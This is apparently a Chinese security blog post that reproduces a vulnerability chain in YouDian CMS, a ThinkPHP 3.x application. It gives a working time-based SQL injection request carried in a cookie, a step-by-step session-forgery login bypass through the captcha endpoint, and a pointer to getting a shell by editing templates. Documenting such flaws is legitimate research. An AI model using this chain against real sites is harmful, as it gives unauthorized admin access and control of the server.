专栏名称: 橘猫学安全
每日一干货🙂
目录
相关文章推荐
兵团零距离  ·  来时冰雪别时春 谢谢尔滨!2029沙特见 ·  18 小时前  
国家广播电视总局  ·  中广电广播电影电视设计研究院有限公司圆满完成 ... ·  昨天  
阳泉日报  ·  中国队,双榜第一! ·  昨天  
51好读  ›  专栏  ›  橘猫学安全

友点CMS GETSHELL

橘猫学安全  · 公众号  ·  · 2022-05-09 00:00

正文

作者:Ca1y0n 编辑:白帽子社区运营团队




在逛论坛的时候发现该漏洞,于是本地搭建环境复现了一下


SQL注入漏洞
该框架基于thinkphp 3. x 开发
这里cookie是可控的,跟踪调用 $this->_fromuser 的值

$this->_fromuser
在App/Lib/Action/Home/ChannelAction.class.php 进行了调用
App/Lib/Action/Home/ChannelAction.class.php

继续跟踪hasVoted函数

利用POC
GET /test/yd//index.php/Channel/voteAdd HTTP/1.1Host: 192.168.2.152User-Agent




    
: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: youdianfu[0]=exp;youdianfu[1]==(select 1 from(select sleep(2))a)Upgrade-Insecure-Requests: 1
构造延时注入

SESSION伪造
后端登陆判断
 App/Lib/Action/AdminBaseAction.class.php

检验登陆的函数主要是isLogin 和check Purview


isLogin 和checkPurview
此处检查了session中的字段,要求不为空

此处函数 获取session值。 而且为弱比较

Session的设置
漏洞位置

App/Lib/Action/BaseAction.class.php
这里获取验证码的参数都是可控的,访问

http://IP/index.php/base?a=verifycode&verify=

跟进buildImageVerify函数,发现能够控制session的键名,值则是对产生的字符进行md5加密,不可控

根据后台登陆的权限校验,可以设置session键值名绕过登陆

首先请求,获取session

http://IP/index.php/base?a=verifycode&verify=AdminID
获取的session 添加到请求头中,再去访问

http://IP/index.php/base?a=verifycode&verify=AdminName

接着在访问

http://IPindex.php/base?a=verifycode&verify=AdminGroupID&mode=1&length=2
然后打开浏览器替换掉cookie 就可以登陆后台了
登陆后不一定是管理员的权限,但由于是弱类型比较,md 5 可以使用脚本进行碰撞
后台可通过修改模板进行getshell






请到「今天看啥」查看全文